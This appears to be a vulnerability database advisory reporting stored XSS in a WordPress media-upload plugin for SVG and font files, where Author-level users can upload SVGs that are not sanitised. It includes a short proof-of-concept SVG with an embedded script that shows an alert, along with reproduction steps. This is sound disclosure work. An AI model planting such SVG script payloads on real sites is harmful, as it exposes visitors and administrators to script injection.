CITS Support svg, webp Media and TTF,OTF File Upload < 3.0 - Author+ Stored XSS via SVG

2023-10-0900:00:00

Bob Matyas

cits support

media upload

author

stored xss

svg

ttf

otf

file upload

EPSS

Percentile

14.0%

JSON

Description The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

As an author, upload an SVG with the payload:

```
<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>
```

View the SVG and see the XSS.

EPSS

Percentile

14.0%

JSON

Related for WPEX-ID:47D15F1C-B9CA-494D-BE8F-63C30E92F9B8